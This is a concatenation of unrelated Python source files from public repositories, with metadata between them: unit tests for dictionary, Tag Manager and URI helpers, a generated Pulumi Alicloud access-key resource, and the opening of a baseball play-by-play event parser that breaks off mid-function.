import pytest from tldap.dict import CaseInsensitiveDict, ImmutableDict @pytest.fixture def ci(): """ Get group 1. """ allowed_values = {'NumberOfPenguins', 'NumberOfSharks'} return CaseInsensitiveDict(allowed_values) @pytest.fixture def immutable(): """ Get group 1. """ allowed_values = {'NumberOfPenguins', 'NumberOfSharks'} return ImmutableDict(allowed_values) class TestCaseInsensitive: def test_init_lowercase(self): allowed_values = {'NumberOfPenguins', 'NumberOfSharks'} ci = CaseInsensitiveDict(allowed_values, {'numberofpenguins': 10}) assert ci.keys() == {'NumberOfPenguins'} def test_init_mixedcase(self, ci): allowed_values = {'NumberOfPenguins', 'NumberOfSharks'} ci = CaseInsensitiveDict(allowed_values, {'numberOFpenguins': 10}) assert ci.keys() == {'NumberOfPenguins'} def test_init_uppercase(self, ci): allowed_values = {'NumberOfPenguins', 'NumberOfSharks'} ci = CaseInsensitiveDict(allowed_values, {'NUMBEROFPENGUINS': 10}) assert ci.keys() == {'NumberOfPenguins'} def test_init_not_valid(self, ci): allowed_values = {'NumberOfPenguins', 'NumberOfSharks'} with pytest.raises(KeyError): CaseInsensitiveDict(allowed_values, {'numberOFfish': 10}) def test_set_lowercase(self, ci): ci['numberofpenguins'] = 10 assert ci.keys() == {'NumberOfPenguins'} def test_set_mixedcase(self, ci): ci['numberOFpenguins'] = 10 assert ci.keys() == {'NumberOfPenguins'} def test_set_uppercase(self, ci): ci['NUMBEROFPENGUINS'] = 10 assert ci.keys() == {'NumberOfPenguins'} def test_set_not_valid(self, ci): with pytest.raises(KeyError): ci['numberOFfish'] = 10 def test_get(self, ci): ci['numberOFpenguins'] = 10 assert ci['numberofpenguins'] == 10 assert ci['NumberOfPenguins'] == 10 assert ci['NUMBEROFPENGUINS'] == 10 def test_get_not_set(self, ci): ci['numberOFpenguins'] = 10 with pytest.raises(KeyError): assert ci['NumberOfSharks'] == 10 def test_get_valid(self, ci): ci['numberOFpenguins'] = 10 with pytest.raises(KeyError): assert ci['nUmberoFfIsh'] == 10 class TestImmutable: def test_init_lowercase(self): allowed_values = {'NumberOfPenguins', 'NumberOfSharks'} ci = ImmutableDict(allowed_values, {'numberofpenguins': 10}) assert ci.keys() == {'NumberOfPenguins'} def test_init_mixedcase(self, ci): allowed_values = {'NumberOfPenguins', 'NumberOfSharks'} ci = ImmutableDict(allowed_values, {'numberOFpenguins': 10}) assert ci.keys() == {'NumberOfPenguins'} def test_init_uppercase(self, ci): allowed_values = {'NumberOfPenguins', 'NumberOfSharks'} ci = ImmutableDict(allowed_values, {'NUMBEROFPENGUINS': 10}) assert ci.keys() == {'NumberOfPenguins'} def test_init_not_valid(self, ci): allowed_values = {'NumberOfPenguins', 'NumberOfSharks'} with pytest.raises(KeyError): ImmutableDict(allowed_values, {'numberOFfish': 10}) def test_set_fails(self, immutable): with pytest.raises(TypeError): immutable['numberofpenguins'] = 10 with pytest.raises(TypeError): immutable['numberoffish'] = 10 def test_set_lowercase(self, immutable): immutable = immutable.set('numberofpenguins', 10) assert immutable.keys() == {'NumberOfPenguins'} def test_set_mixedcase(self, immutable): immutable = immutable.set('numberOFpenguins', 10) assert immutable.keys() == {'NumberOfPenguins'} def test_set_uppercase(self, immutable): immutable = immutable.set('NUMBEROFPENGUINS', 10) assert immutable.keys() == {'NumberOfPenguins'} def test_set_not_valid(self, immutable): with pytest.raises(KeyError): immutable.set('numberOFfish', 10) def test_get(self, immutable): immutable = immutable.set('numberOFpenguins', 10) assert immutable['numberofpenguins'] == 10 assert immutable['NumberOfPenguins'] == 10 assert immutable['NUMBEROFPENGUINS'] == 10 def test_get_not_set(self, immutable): immutable = immutable.set('numberOFpenguins', 10) with pytest.raises(KeyError): assert immutable['NumberOfSharks'] == 10 def test_get_valid(self, immutable): immutable = immutable.set('numberOFpenguins', 10) with pytest.raises(KeyError): assert immutable['nUmberoFfIsh'] == 10

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7

a6e2ecb4932710e7800a1e62da3d83c97dac27dc

113

py

Python

jsl/nlds/__init__.py

apoorvagnihotri/JSL

83e12645de833cb595bd554b9a14704a3fb1449c

[ "MIT" ]

null

jsl/nlds/__init__.py

apoorvagnihotri/JSL

83e12645de833cb595bd554b9a14704a3fb1449c

[ "MIT" ]

null

jsl/nlds/__init__.py

apoorvagnihotri/JSL

83e12645de833cb595bd554b9a14704a3fb1449c

[ "MIT" ]

null

from . import base from . import diagonal_extended_kalman_filter, extended_kalman_filter, unscented_kalman_filter

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227

py

Python

addons14/document_page/tests/__init__.py

odoochain/addons_oca

55d456d798aebe16e49b4a6070765f206a8885ca

[ "MIT" ]

1

2021-06-10T14:59:13.000Z

addons14/document_page/tests/__init__.py

odoochain/addons_oca

55d456d798aebe16e49b4a6070765f206a8885ca

[ "MIT" ]

null

addons14/document_page/tests/__init__.py

odoochain/addons_oca

55d456d798aebe16e49b4a6070765f206a8885ca

[ "MIT" ]

1

2021-04-09T09:44:44.000Z

# License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). from . import test_document_page from . import test_document_page_create_menu from . import test_document_page_history from . import test_document_page_show_diff

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7

471f94353b361dc782100945d0a14e21944af24f

4,517

py

Python

tests/test_tag.py

trakken/gtm_manager

4825cc87daf36bf2feeae8c463243b128008e36f

[ "MIT" ]

7

2018-12-14T11:05:44.000Z

2021-12-03T18:33:17.000Z

tests/test_tag.py

trakken/gtm_manager

4825cc87daf36bf2feeae8c463243b128008e36f

[ "MIT" ]

2

2019-07-16T09:40:47.000Z

2019-08-22T20:57:04.000Z

tests/test_tag.py

trakken/gtm_manager

4825cc87daf36bf2feeae8c463243b128008e36f

[ "MIT" ]

3

2021-07-21T07:55:50.000Z

2022-01-14T12:54:02.000Z

# pylint: disable=missing-docstring from gtm_manager.tag import GTMTag from gtm_manager.parameter import GTMParameter def test_init(mock_service): service, responses = mock_service("tag_get.json") tag_get = responses[0] tag = GTMTag( path="accounts/1234/containers/1234/workspaces/1/tags/3", service=service ) assert tag.paused == tag_get.get("paused") assert tag.setupTag == tag_get.get("setupTag") assert tag.firingRuleId == tag_get.get("firingRuleId", []) assert tag.accountId == tag_get.get("accountId") assert tag.teardownTag == tag_get.get("teardownTag") assert tag.priority == tag_get.get("priority") assert tag.workspaceId == tag_get.get("workspaceId") assert tag.parentFolderId == tag_get.get("parentFolderId") assert tag.scheduleStartMs == tag_get.get("scheduleStartMs") assert tag.scheduleEndMs == tag_get.get("scheduleEndMs") assert tag.containerId == tag_get.get("containerId") assert tag.tagFiringOption == tag_get.get("tagFiringOption") assert tag.tagId == tag_get.get("tagId") assert tag.blockingRuleId == tag_get.get("blockingRuleId", []) assert tag.tagManagerUrl == tag_get.get("tagManagerUrl") assert tag.fingerprint == tag_get.get("fingerprint") assert tag.firingTriggerId == tag_get.get("firingTriggerId", []) assert tag.name == tag_get.get("name") assert tag.type == tag_get.get("type") assert tag.notes == tag_get.get("notes") assert tag.liveOnly == tag_get.get("liveOnly") assert tag.blockingTriggerId == tag_get.get("blockingTriggerId", []) assert tag.path == tag_get.get("path") assert len(tag.parameter) == len(tag_get.get("parameter")) assert isinstance(tag.parameter[0], GTMParameter) tag = GTMTag( tag=tag_get, parent="accounts/1234/containers/1234/workspaces/1", service=service, ) assert tag.paused == tag_get.get("paused") assert tag.setupTag == tag_get.get("setupTag") assert tag.firingRuleId == tag_get.get("firingRuleId", []) assert tag.accountId == tag_get.get("accountId") assert tag.teardownTag == tag_get.get("teardownTag") assert tag.priority == tag_get.get("priority") assert tag.workspaceId == tag_get.get("workspaceId") assert tag.parentFolderId == tag_get.get("parentFolderId") assert tag.scheduleStartMs == tag_get.get("scheduleStartMs") assert tag.scheduleEndMs == tag_get.get("scheduleEndMs") assert tag.containerId == tag_get.get("containerId") assert tag.tagFiringOption == tag_get.get("tagFiringOption") assert tag.tagId == tag_get.get("tagId") assert tag.blockingRuleId == tag_get.get("blockingRuleId", []) assert tag.tagManagerUrl == tag_get.get("tagManagerUrl") assert tag.fingerprint == tag_get.get("fingerprint") assert tag.firingTriggerId == tag_get.get("firingTriggerId", []) assert tag.name == tag_get.get("name") assert tag.type == tag_get.get("type") assert tag.notes == tag_get.get("notes") assert tag.liveOnly == tag_get.get("liveOnly") assert tag.blockingTriggerId == tag_get.get("blockingTriggerId", []) assert tag.path == tag_get.get("path") assert len(tag.parameter) == len(tag_get.get("parameter")) assert isinstance(tag.parameter[0], GTMParameter) def test_update(mock_service): service, responses = mock_service("tag_get.json", "echo_request_body") tag_get = responses[0] tag = GTMTag( path="accounts/1234/containers/1234/workspaces/1/tags/3", service=service ) update = {"name": "New Tag Name 1", "notes": "New Tag Notes"} new_paramter = {"type": "boolean", "key": "supportDocumentWrite", "value": "true"} tag.update(parameter=[GTMParameter(new_paramter)], **update) tag_get_updated = {**tag_get, **update} tag_get_updated["parameter"][1] = new_paramter assert tag.name == tag_get_updated.get("name") assert tag.notes == tag_get_updated.get("notes") assert len(tag.parameter) == len(tag_get_updated.get("parameter")) assert isinstance(tag.parameter[0], GTMParameter) for index, param in enumerate(tag.parameter): if param.key == new_paramter["key"]: new_param_index = index break assert tag.parameter[new_param_index].value == new_paramter["value"] def test_delete(mock_service): service, _ = mock_service("tag_get.json", "echo_request_body") tag = GTMTag( path="accounts/1234/containers/1234/workspaces/1/tags/3", service=service ) tag.delete()

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75010dc79e2ea3b86c4b78d171a992945ddcc937

19,448

py

Python

sdk/python/pulumi_alicloud/ram/access_key.py

pulumi/pulumi-alicloud

9c34d84b4588a7c885c6bec1f03b5016e5a41683

[ "ECL-2.0", "Apache-2.0" ]

42

2019-03-18T06:34:37.000Z

2022-03-24T07:08:57.000Z

sdk/python/pulumi_alicloud/ram/access_key.py

pulumi/pulumi-alicloud

9c34d84b4588a7c885c6bec1f03b5016e5a41683

[ "ECL-2.0", "Apache-2.0" ]

152

2019-04-15T21:03:44.000Z

2022-03-29T18:00:57.000Z

sdk/python/pulumi_alicloud/ram/access_key.py

pulumi/pulumi-alicloud

9c34d84b4588a7c885c6bec1f03b5016e5a41683

[ "ECL-2.0", "Apache-2.0" ]

3

2020-08-26T17:30:07.000Z

2021-07-05T01:37:45.000Z

# coding=utf-8 # *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** import warnings import pulumi import pulumi.runtime from typing import Any, Mapping, Optional, Sequence, Union, overload from .. import _utilities __all__ = ['AccessKeyArgs', 'AccessKey'] @pulumi.input_type class AccessKeyArgs: def __init__(__self__, *, pgp_key: Optional[pulumi.Input[str]] = None, secret_file: Optional[pulumi.Input[str]] = None, status: Optional[pulumi.Input[str]] = None, user_name: Optional[pulumi.Input[str]] = None): """ The set of arguments for constructing a AccessKey resource. :param pulumi.Input[str] pgp_key: Either a base-64 encoded PGP public key, or a keybase username in the form `keybase:some_person_that_exists` :param pulumi.Input[str] secret_file: The name of file that can save access key id and access key secret. Strongly suggest you to specified it when you creating access key, otherwise, you wouldn't get its secret ever. :param pulumi.Input[str] status: Status of access key. It must be `Active` or `Inactive`. Default value is `Active`. :param pulumi.Input[str] user_name: Name of the RAM user. This name can have a string of 1 to 64 characters, must contain only alphanumeric characters or hyphens, such as "-",".","_", and must not begin with a hyphen. """ if pgp_key is not None: pulumi.set(__self__, "pgp_key", pgp_key) if secret_file is not None: pulumi.set(__self__, "secret_file", secret_file) if status is not None: pulumi.set(__self__, "status", status) if user_name is not None: pulumi.set(__self__, "user_name", user_name) @property @pulumi.getter(name="pgpKey") def pgp_key(self) -> Optional[pulumi.Input[str]]: """ Either a base-64 encoded PGP public key, or a keybase username in the form `keybase:some_person_that_exists` """ return pulumi.get(self, "pgp_key") @pgp_key.setter def pgp_key(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "pgp_key", value) @property @pulumi.getter(name="secretFile") def secret_file(self) -> Optional[pulumi.Input[str]]: """ The name of file that can save access key id and access key secret. Strongly suggest you to specified it when you creating access key, otherwise, you wouldn't get its secret ever. """ return pulumi.get(self, "secret_file") @secret_file.setter def secret_file(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "secret_file", value) @property @pulumi.getter def status(self) -> Optional[pulumi.Input[str]]: """ Status of access key. It must be `Active` or `Inactive`. Default value is `Active`. """ return pulumi.get(self, "status") @status.setter def status(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "status", value) @property @pulumi.getter(name="userName") def user_name(self) -> Optional[pulumi.Input[str]]: """ Name of the RAM user. This name can have a string of 1 to 64 characters, must contain only alphanumeric characters or hyphens, such as "-",".","_", and must not begin with a hyphen. """ return pulumi.get(self, "user_name") @user_name.setter def user_name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "user_name", value) @pulumi.input_type class _AccessKeyState: def __init__(__self__, *, encrypted_secret: Optional[pulumi.Input[str]] = None, key_fingerprint: Optional[pulumi.Input[str]] = None, pgp_key: Optional[pulumi.Input[str]] = None, secret: Optional[pulumi.Input[str]] = None, secret_file: Optional[pulumi.Input[str]] = None, status: Optional[pulumi.Input[str]] = None, user_name: Optional[pulumi.Input[str]] = None): """ Input properties used for looking up and filtering AccessKey resources. :param pulumi.Input[str] key_fingerprint: The fingerprint of the PGP key used to encrypt the secret :param pulumi.Input[str] pgp_key: Either a base-64 encoded PGP public key, or a keybase username in the form `keybase:some_person_that_exists` :param pulumi.Input[str] secret_file: The name of file that can save access key id and access key secret. Strongly suggest you to specified it when you creating access key, otherwise, you wouldn't get its secret ever. :param pulumi.Input[str] status: Status of access key. It must be `Active` or `Inactive`. Default value is `Active`. :param pulumi.Input[str] user_name: Name of the RAM user. This name can have a string of 1 to 64 characters, must contain only alphanumeric characters or hyphens, such as "-",".","_", and must not begin with a hyphen. """ if encrypted_secret is not None: pulumi.set(__self__, "encrypted_secret", encrypted_secret) if key_fingerprint is not None: pulumi.set(__self__, "key_fingerprint", key_fingerprint) if pgp_key is not None: pulumi.set(__self__, "pgp_key", pgp_key) if secret is not None: pulumi.set(__self__, "secret", secret) if secret_file is not None: pulumi.set(__self__, "secret_file", secret_file) if status is not None: pulumi.set(__self__, "status", status) if user_name is not None: pulumi.set(__self__, "user_name", user_name) @property @pulumi.getter(name="encryptedSecret") def encrypted_secret(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "encrypted_secret") @encrypted_secret.setter def encrypted_secret(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "encrypted_secret", value) @property @pulumi.getter(name="keyFingerprint") def key_fingerprint(self) -> Optional[pulumi.Input[str]]: """ The fingerprint of the PGP key used to encrypt the secret """ return pulumi.get(self, "key_fingerprint") @key_fingerprint.setter def key_fingerprint(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "key_fingerprint", value) @property @pulumi.getter(name="pgpKey") def pgp_key(self) -> Optional[pulumi.Input[str]]: """ Either a base-64 encoded PGP public key, or a keybase username in the form `keybase:some_person_that_exists` """ return pulumi.get(self, "pgp_key") @pgp_key.setter def pgp_key(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "pgp_key", value) @property @pulumi.getter def secret(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "secret") @secret.setter def secret(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "secret", value) @property @pulumi.getter(name="secretFile") def secret_file(self) -> Optional[pulumi.Input[str]]: """ The name of file that can save access key id and access key secret. Strongly suggest you to specified it when you creating access key, otherwise, you wouldn't get its secret ever. """ return pulumi.get(self, "secret_file") @secret_file.setter def secret_file(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "secret_file", value) @property @pulumi.getter def status(self) -> Optional[pulumi.Input[str]]: """ Status of access key. It must be `Active` or `Inactive`. Default value is `Active`. """ return pulumi.get(self, "status") @status.setter def status(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "status", value) @property @pulumi.getter(name="userName") def user_name(self) -> Optional[pulumi.Input[str]]: """ Name of the RAM user. This name can have a string of 1 to 64 characters, must contain only alphanumeric characters or hyphens, such as "-",".","_", and must not begin with a hyphen. """ return pulumi.get(self, "user_name") @user_name.setter def user_name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "user_name", value) class AccessKey(pulumi.CustomResource): @overload def __init__(__self__, resource_name: str, opts: Optional[pulumi.ResourceOptions] = None, pgp_key: Optional[pulumi.Input[str]] = None, secret_file: Optional[pulumi.Input[str]] = None, status: Optional[pulumi.Input[str]] = None, user_name: Optional[pulumi.Input[str]] = None, __props__=None): """ Provides a RAM User access key resource. > **NOTE:** You should set the `secret_file` if you want to get the access key. > **NOTE:** From version 1.98.0, if not set `pgp_key`, the resource will output the access key secret to field `secret` and please protect your backend state file judiciously ## Example Usage Output the secret to a file. ```python import pulumi import pulumi_alicloud as alicloud # Create a new RAM access key for user. user = alicloud.ram.User("user", display_name="user_display_name", mobile="86-18688888888", email="hello.uuu@aaa.com", comments="yoyoyo", force=True) ak = alicloud.ram.AccessKey("ak", user_name=user.name, secret_file="/xxx/xxx/xxx.txt") ``` Using `pgp_key` to encrypt the secret. ```python import pulumi import pulumi_alicloud as alicloud # Create a new RAM access key for user. user = alicloud.ram.User("user", display_name="user_display_name", mobile="86-18688888888", email="hello.uuu@aaa.com", comments="yoyoyo", force=True) encrypt = alicloud.ram.AccessKey("encrypt", user_name=user.name, pgp_key="keybase:some_person_that_exists") pulumi.export("secret", encrypt.encrypted_secret) ``` :param str resource_name: The name of the resource. :param pulumi.ResourceOptions opts: Options for the resource. :param pulumi.Input[str] pgp_key: Either a base-64 encoded PGP public key, or a keybase username in the form `keybase:some_person_that_exists` :param pulumi.Input[str] secret_file: The name of file that can save access key id and access key secret. Strongly suggest you to specified it when you creating access key, otherwise, you wouldn't get its secret ever. :param pulumi.Input[str] status: Status of access key. It must be `Active` or `Inactive`. Default value is `Active`. :param pulumi.Input[str] user_name: Name of the RAM user. This name can have a string of 1 to 64 characters, must contain only alphanumeric characters or hyphens, such as "-",".","_", and must not begin with a hyphen. """ ... @overload def __init__(__self__, resource_name: str, args: Optional[AccessKeyArgs] = None, opts: Optional[pulumi.ResourceOptions] = None): """ Provides a RAM User access key resource. > **NOTE:** You should set the `secret_file` if you want to get the access key. > **NOTE:** From version 1.98.0, if not set `pgp_key`, the resource will output the access key secret to field `secret` and please protect your backend state file judiciously ## Example Usage Output the secret to a file. ```python import pulumi import pulumi_alicloud as alicloud # Create a new RAM access key for user. user = alicloud.ram.User("user", display_name="user_display_name", mobile="86-18688888888", email="hello.uuu@aaa.com", comments="yoyoyo", force=True) ak = alicloud.ram.AccessKey("ak", user_name=user.name, secret_file="/xxx/xxx/xxx.txt") ``` Using `pgp_key` to encrypt the secret. ```python import pulumi import pulumi_alicloud as alicloud # Create a new RAM access key for user. user = alicloud.ram.User("user", display_name="user_display_name", mobile="86-18688888888", email="hello.uuu@aaa.com", comments="yoyoyo", force=True) encrypt = alicloud.ram.AccessKey("encrypt", user_name=user.name, pgp_key="keybase:some_person_that_exists") pulumi.export("secret", encrypt.encrypted_secret) ``` :param str resource_name: The name of the resource. :param AccessKeyArgs args: The arguments to use to populate this resource's properties. :param pulumi.ResourceOptions opts: Options for the resource. """ ... def __init__(__self__, resource_name: str, *args, **kwargs): resource_args, opts = _utilities.get_resource_args_opts(AccessKeyArgs, pulumi.ResourceOptions, *args, **kwargs) if resource_args is not None: __self__._internal_init(resource_name, opts, **resource_args.__dict__) else: __self__._internal_init(resource_name, *args, **kwargs) def _internal_init(__self__, resource_name: str, opts: Optional[pulumi.ResourceOptions] = None, pgp_key: Optional[pulumi.Input[str]] = None, secret_file: Optional[pulumi.Input[str]] = None, status: Optional[pulumi.Input[str]] = None, user_name: Optional[pulumi.Input[str]] = None, __props__=None): if opts is None: opts = pulumi.ResourceOptions() if not isinstance(opts, pulumi.ResourceOptions): raise TypeError('Expected resource options to be a ResourceOptions instance') if opts.version is None: opts.version = _utilities.get_version() if opts.id is None: if __props__ is not None: raise TypeError('__props__ is only valid when passed in combination with a valid opts.id to get an existing resource') __props__ = AccessKeyArgs.__new__(AccessKeyArgs) __props__.__dict__["pgp_key"] = pgp_key __props__.__dict__["secret_file"] = secret_file __props__.__dict__["status"] = status __props__.__dict__["user_name"] = user_name __props__.__dict__["encrypted_secret"] = None __props__.__dict__["key_fingerprint"] = None __props__.__dict__["secret"] = None super(AccessKey, __self__).__init__( 'alicloud:ram/accessKey:AccessKey', resource_name, __props__, opts) @staticmethod def get(resource_name: str, id: pulumi.Input[str], opts: Optional[pulumi.ResourceOptions] = None, encrypted_secret: Optional[pulumi.Input[str]] = None, key_fingerprint: Optional[pulumi.Input[str]] = None, pgp_key: Optional[pulumi.Input[str]] = None, secret: Optional[pulumi.Input[str]] = None, secret_file: Optional[pulumi.Input[str]] = None, status: Optional[pulumi.Input[str]] = None, user_name: Optional[pulumi.Input[str]] = None) -> 'AccessKey': """ Get an existing AccessKey resource's state with the given name, id, and optional extra properties used to qualify the lookup. :param str resource_name: The unique name of the resulting resource. :param pulumi.Input[str] id: The unique provider ID of the resource to lookup. :param pulumi.ResourceOptions opts: Options for the resource. :param pulumi.Input[str] key_fingerprint: The fingerprint of the PGP key used to encrypt the secret :param pulumi.Input[str] pgp_key: Either a base-64 encoded PGP public key, or a keybase username in the form `keybase:some_person_that_exists` :param pulumi.Input[str] secret_file: The name of file that can save access key id and access key secret. Strongly suggest you to specified it when you creating access key, otherwise, you wouldn't get its secret ever. :param pulumi.Input[str] status: Status of access key. It must be `Active` or `Inactive`. Default value is `Active`. :param pulumi.Input[str] user_name: Name of the RAM user. This name can have a string of 1 to 64 characters, must contain only alphanumeric characters or hyphens, such as "-",".","_", and must not begin with a hyphen. """ opts = pulumi.ResourceOptions.merge(opts, pulumi.ResourceOptions(id=id)) __props__ = _AccessKeyState.__new__(_AccessKeyState) __props__.__dict__["encrypted_secret"] = encrypted_secret __props__.__dict__["key_fingerprint"] = key_fingerprint __props__.__dict__["pgp_key"] = pgp_key __props__.__dict__["secret"] = secret __props__.__dict__["secret_file"] = secret_file __props__.__dict__["status"] = status __props__.__dict__["user_name"] = user_name return AccessKey(resource_name, opts=opts, __props__=__props__) @property @pulumi.getter(name="encryptedSecret") def encrypted_secret(self) -> pulumi.Output[str]: return pulumi.get(self, "encrypted_secret") @property @pulumi.getter(name="keyFingerprint") def key_fingerprint(self) -> pulumi.Output[str]: """ The fingerprint of the PGP key used to encrypt the secret """ return pulumi.get(self, "key_fingerprint") @property @pulumi.getter(name="pgpKey") def pgp_key(self) -> pulumi.Output[Optional[str]]: """ Either a base-64 encoded PGP public key, or a keybase username in the form `keybase:some_person_that_exists` """ return pulumi.get(self, "pgp_key") @property @pulumi.getter def secret(self) -> pulumi.Output[str]: return pulumi.get(self, "secret") @property @pulumi.getter(name="secretFile") def secret_file(self) -> pulumi.Output[Optional[str]]: """ The name of file that can save access key id and access key secret. Strongly suggest you to specified it when you creating access key, otherwise, you wouldn't get its secret ever. """ return pulumi.get(self, "secret_file") @property @pulumi.getter def status(self) -> pulumi.Output[Optional[str]]: """ Status of access key. It must be `Active` or `Inactive`. Default value is `Active`. """ return pulumi.get(self, "status") @property @pulumi.getter(name="userName") def user_name(self) -> pulumi.Output[Optional[str]]: """ Name of the RAM user. This name can have a string of 1 to 64 characters, must contain only alphanumeric characters or hyphens, such as "-",".","_", and must not begin with a hyphen. """ return pulumi.get(self, "user_name")

44.300683

225

0.639346

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19,448

4.799839

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0.064478

0.079719

0.088427

0.850276

0.822308

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0.790571

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null

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750cca09e22064b4aec6be037a08c09cfc0ac39f

3,872

py

Python

tests/utils/test_request_uri.py

cbefus/Eynnyd

1b25281af98c1360794806db21f52ddbe0bd2cad

[ "MIT" ]

3

2019-08-24T19:01:52.000Z

2020-01-21T00:39:07.000Z

tests/utils/test_request_uri.py

cbefus/Eynnyd

1b25281af98c1360794806db21f52ddbe0bd2cad

[ "MIT" ]

null

tests/utils/test_request_uri.py

cbefus/Eynnyd

1b25281af98c1360794806db21f52ddbe0bd2cad

[ "MIT" ]

null

from unittest import TestCase from eynnyd.internal.utils.request_uri import RequestURI class TestRequestURI(TestCase): def test_request_uri_properties(self): request_uri = RequestURI("http", "localhost", 8008, "/foo/bar", "foo=bar&fizz=buzz") self.assertEqual("http", request_uri.scheme) self.assertEqual("localhost", request_uri.host) self.assertEqual(8008, request_uri.port) self.assertEqual("/foo/bar", request_uri.path) self.assertEqual("foo=bar&fizz=buzz", request_uri.query) def test_properties_from_wsgi_environment(self): request_uri = \ RequestURI.from_wsgi_environment({ "wsgi.url_scheme": "http", "SERVER_NAME": "localhost", "SERVER_PORT": 8008, "PATH_INFO": "/foo/bar", "QUERY_STRING": "foo=bar&fizz=buzz" }) self.assertEqual("http", request_uri.scheme) self.assertEqual("localhost", request_uri.host) self.assertEqual(8008, request_uri.port) self.assertEqual("/foo/bar", request_uri.path) self.assertEqual("foo=bar&fizz=buzz", request_uri.query) def test_properties_from_forwarded_from_wsgi_environment_without_forward_headers(self): request_uri = \ RequestURI.forwarded_from_wsgi_environment({ "wsgi.url_scheme": "http", "SERVER_NAME": "localhost", "SERVER_PORT": 8008, "PATH_INFO": "/foo/bar", "QUERY_STRING": "foo=bar&fizz=buzz" }) self.assertEqual("http", request_uri.scheme) self.assertEqual("localhost", request_uri.host) self.assertEqual(8008, request_uri.port) self.assertEqual("/foo/bar", request_uri.path) self.assertEqual("foo=bar&fizz=buzz", request_uri.query) def test_properties_from_forwarded_from_wsgi_environment_with_http_forwarded_headers(self): request_uri = \ RequestURI.forwarded_from_wsgi_environment({ "wsgi.url_scheme": "http", "SERVER_NAME": "localhost", "SERVER_PORT": 8008, "PATH_INFO": "/foo/bar", "QUERY_STRING": "foo=bar&fizz=buzz", "HTTP_FORWARDED": "proto=https;host=100.100.100.100" }) self.assertEqual("https", request_uri.scheme) self.assertEqual("100.100.100.100", request_uri.host) self.assertEqual(8008, request_uri.port) self.assertEqual("/foo/bar", request_uri.path) self.assertEqual("foo=bar&fizz=buzz", request_uri.query) def test_properties_from_forwarded_from_wsgi_environment_with_http_x_forwarded_headers(self): request_uri = \ RequestURI.forwarded_from_wsgi_environment({ "wsgi.url_scheme": "http", "SERVER_NAME": "localhost", "SERVER_PORT": 8008, "PATH_INFO": "/foo/bar", "QUERY_STRING": "foo=bar&fizz=buzz", "HTTP_X_FORWARDED_PROTO": "https", "HTTP_X_FORWARDED_HOST": "100.100.100.100" }) self.assertEqual("https", request_uri.scheme) self.assertEqual("100.100.100.100", request_uri.host) self.assertEqual(8008, request_uri.port) self.assertEqual("/foo/bar", request_uri.path) self.assertEqual("foo=bar&fizz=buzz", request_uri.query) def test_uri_string_repr(self): request_uri = RequestURI("http", "localhost", 8008, "/foo/bar", "foo=bar&fizz=buzz") self.assertEqual("http://localhost:8008/foo/bar?foo=bar&fizz=buzz", str(request_uri)) def test_uri_repr(self): request_uri = RequestURI("http", "localhost", 8008, "/foo/bar", "foo=bar&fizz=buzz") self.assertEqual("http://localhost:8008/foo/bar?foo=bar&fizz=buzz", repr(request_uri))

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97

0.62655

447

3,872

5.170022

0.105145

0.155777

0.06058

0.084812

0.877975

0

0.035471

0.242769

3,872

86

98

45.023256

0.752729

0

0.786667

0

0.23379

0.019375

0

0.36

1

0.093333

false

0

0.026667

0

0.133333

0

null

0

1

0

1

0

null

0

7

7545c700118a7bc520d31c870348b1947d4788f2

78,023

py

Python

retrosheet/event.py

calestini/retrosheet

dc95f79f48e25e5b8f75959c363b430ccc581d08

[ "MIT" ]

18

2018-11-04T18:59:11.000Z

2022-01-11T00:53:10.000Z

retrosheet/event.py

calestini/retrosheet

dc95f79f48e25e5b8f75959c363b430ccc581d08

[ "MIT" ]

2

2018-08-24T16:06:55.000Z

2019-04-03T15:45:23.000Z

retrosheet/event.py

calestini/retrosheet

dc95f79f48e25e5b8f75959c363b430ccc581d08

[ "MIT" ]

5

2019-03-31T14:25:47.000Z

2022-01-11T00:34:18.000Z

# encoding: utf-8 import logging import re from .helpers import ( out_in_advance, advance_base, PREVIOUS_BASE, NEXT_BASE, pitch_count, move_base, leave_base ) class event(object): """ New event parsing class. This will worry only with the current event string. Any contextual information will be taken by the Game class (player_id, pitcher, etc). The objective is to map everything that happened, by all players, for quick reference. TODO:remove redundancies """ def __init__(self): self.log = logging.getLogger(__name__) self.str = 'NP' self.base = {'B': None,'1': None,'2': None,'3': None, 'H':[]} self.advances={'B': 1,'1': 0,'2': 0,'3': 0,'H': 0, 'out': 0,'run': 0} #def _initialize_modifiers(self): def _is_explicit(self, bfrom='B'): for em in self.em: if em[0][0]==bfrom: #self.log.debug('{0} is explicit'.format(bfrom)) return True #self.log.debug('{0} is not explicit'.format(bfrom)) return False def _modifiers(self, modifiers): """ """ ### Play Modifier: for mpm in modifiers: mpm = mpm.replace('#','').replace('-','').replace('+','')\ .replace('!','').replace('?','').upper() if re.findall('^[B]?[PUGFL]?DP$',mpm): #double play #self.main_play['out'] = 2 self.modifiers['DP'] = True self.modifiers['bunt'] = 1 if mpm[0]=='B' else 0 if self.modifiers['trajectory'] == '': self.modifiers['trajectory'] = mpm[1] if mpm[1] in ['PGFL'] else '' self.modifiers['trajectory'] = mpm[0] if mpm[0] in ['PGFL'] else '' elif re.findall('^[B]?[PUGFL]?TP$',mpm): #tripple play #self.main_play['out'] = 3 self.modifiers['TP'] = True elif re.findall('^U[1-9]+', mpm): self.modifiers['passes'].append(mpm) elif re.findall('^[B]$',mpm): #tripple play self.modifiers['bunt'] = 1 elif re.findall('^COU[BFR]$',mpm): #courtesy batter , fielder, runner self.modifiers['courtesy'] = mpm[3] elif re.findall('^[BFRU]?INT$', mpm): #interception self.modifiers['interference'] = mpm[0] if mpm[0] in ['B','F','R','U'] else '' elif re.findall('^[MU]REV$', mpm): #review self.modifiers['review'] = mpm[0] elif re.findall('^FL$', mpm): #foul self.modifiers['foul'] = 1 